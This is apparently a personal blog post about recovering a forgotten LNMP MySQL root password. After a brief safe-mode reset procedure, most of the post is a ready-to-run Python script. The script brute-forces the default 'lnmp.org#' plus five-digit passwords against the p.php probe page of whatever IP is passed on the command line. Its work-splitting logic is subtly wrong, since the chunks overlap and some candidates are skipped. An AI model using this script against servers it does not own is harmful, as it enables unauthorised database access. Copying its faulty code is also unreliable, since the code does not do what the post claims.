BOBOBK

Using requests and multiprocessing for multi-threaded brute-force cracking of default lnmp mysql password

TECHNOLOGY

My blog previously used the lnmp program to set up the web environment, but when I needed to use MySQL, I found that the LNMP installation log file was missing and the MySQL root password was forgotten. I remembered that when I installed LNMP, I just pressed Enter all the way. The default LNMP password is lnmp.org# plus 5 random digits, resulting in only 100,000 possibilities. In this scenario, a brute-force attack of 100,000 attempts will certainly find the password. Therefore, there are two ways to recover the default LNMP database root password:

  1. Stop the MySQL service, log in in safe mode, and change the root password.
  2. Use requests and multiprocessing for a multi-threaded brute-force attack.

Stopping MySQL Service, Logging in Safe Mode, and Changing Root Password

This is a general method for resetting the MySQL server’s root password. It requires stopping the server for a period, which might cause service unavailability. For large sites, this could lead to database service outages, but for low-traffic sites, it’s not a major concern.

Stopping MySQL Service and Starting MySQL in Safe Mode

Here are the commands:

service mysql stop #or systemctl stop mysql.service

mysqld_safe --skip-grant-tables &

Logging into MySQL Without a Password and Changing Root Password

mysql

Modify the mysql.user table to change the root password:

UPDATE mysql.user SET Password=PASSWORD('new_password') WHERE User='root';

Restarting MySQL Service

service mysql restart # or systemctl restart mysql.service

You can now log in with the new root password.


Using requests and multiprocessing for Multi-threaded Brute-force Cracking of the Default Probe File

Generating All Possible LNMP Passwords

The main step is to generate the numeric part of all possible default LNMP passwords, totaling 100,000 possibilities, and then shuffle their order.

import random

def generate_pass_list():
    ran = list(range(1,100000))
    random.shuffle(ran)
    return ran

Inspecting Requests and Writing the Cracking Function

Of course, you could also directly use bash to call MySQL locally, but here, to get familiar with Python’s network module requests and multi-threading module multiprocessing, we’ll use Python for everything.

First, open the probe page in a browser, log in with any password, and use Chrome’s network inspection feature to view the request. You can see the POST data is:

Generate the POST data format directly as a Python dictionary:

"host":"localhost","port":"3306","login":"root","password":"root","act":"MySQL detection"

Given a list of numbers, automatically start cracking the probe password under the IP.

global url 
url = "http://127.0.0.1/p.php"
def brute_php(listc):
    for i in listc:
        passw = "lnmp.org#"+str(i).zfill(5)
        try:
            text = requests.post(url,data={"host":"localhost","port":"3306","login":"root","password":passw,"act":"MySQL检测"}).text
            if u"连接到MySql数据库正常" in text:
                print("congratulations:lnmp.org#{}".format(i))
                
                sys.exit(0)
        except:
            print("{}n".format(i))
        

Using Multiprocessing Multi-threaded Mode

For multiprocessing usage, refer to the official multiprocessing manual. Here’s an explanation of the main parts:

  1. First, use multiprocessing.Pool to create an object with a specified number of threads.
  2. Then, use map to provide the function to be run and the given parameters. Here, the 100,000 passwords are split by the number of threads, and each thread’s parameters are put into the args array.
  3. Finally, use map to run the multi-threaded script.

See the code below for direct use in your script.

def multiprocess_brute_lnmp():
  #  url = "http://{}/p.php".format(url)
    
    ran = generate_pass_list()
    n_process = min(20, multiprocessing.cpu_count())
    p = multiprocessing.Pool(processes=n_process)
    len_indexs = len(ran)//n_process
    args = []
    args.append(ran[:len_indexs])
    for i in range(1,n_process-1):
        args.append(ran[(i-1)*len_indexs:i* len_indexs])
    args.append(ran[(n_process-1)*len_indexs:])


    for _ in p.map(brute_php, args):
        pass

Generating the Final Python Script

Combining the above aspects, here’s the final script that can directly crack the default LNMP-installed database’s root password.


import requests
import multiprocessing
import random
import sys
import os.path

def generate_pass_list():
    if len(sys.argv)>2:
        return open(sys.argv[2]).read().split()
    if not os.path.isfile("lnmp_pass.txt"):
        ran = list(range(1,100000))
        random.shuffle(ran)
        with open('lnmp_pass.txt','w') as fw:
            for i in ran:
                fw.write(str(i)+"n")
        return ran
    else:
        return open("lnmp_pass.txt").read().split()
def brute_php(listc):
    c = 0
    for i in listc:
        passw = "lnmp.org#"+str(i).zfill(5)
        try:
            text = requests.post(url,data={"host":"localhost","port":"3306","login":"root","password":passw,"act":"MySQL检测"}).text
            if u"连接到MySql数据库正常" in text:
                print("congratulations:lnmp.org#{}".format(i))
                fw.write("password find :{}n".format(passw))
                sys.exit(0)
        except:
            fw.write("{}n".format(i))
        c += 1
def multiprocess_brute_lnmp():
  #  url = "http://{}/p.php".format(url)
    
    ran = generate_pass_list()
    n_process = min(20, multiprocessing.cpu_count())
    p = multiprocessing.Pool(processes=n_process)
    len_indexs = len(ran)//n_process
    args = []
    args.append(ran[:len_indexs])
    for i in range(1,n_process-1):
        args.append(ran[(i-1)*len_indexs:i* len_indexs])
    args.append(ran[(n_process-1)*len_indexs:])


    for _ in p.map(brute_php, args):
        pass
        
def help():
    help = '''
    Reasonable use of this script
    Format: python name.py 127.0.0.1   
          or  python name.py 127.0.0.1 number_list.txt
        
        
    The first parameter is the IP address, the second parameter is the text file of the number list, one number per line
    '''
    print(help)
if __name__ == '__main__':
    if len(sys.argv) == 1:
        print(help())
        sys.exit(0)
    global url
    
    url = "http://{}/p.php".format(sys.argv[1])
    with open("{}.log".format(sys.argv[-1]),'w') as fw:
        multiprocess_brute_lnmp()

The instructions state that the first parameter specifies the IP, and the second parameter is a text file containing the number list, with one number per line.

Running the script and making a POST request to the local p.php probe ultimately retrieves the default LNMP MySQL root password.


Summary

This article primarily focuses on using the opportunity to reset the MySQL root password to familiarize and utilize Python’s multiprocessing multi-threading module and the requests module’s POST functionality. Ultimately, it demonstrates how to complete a multi-threaded online brute-force attack to crack the default MySQL password in an LNMP environment.

Related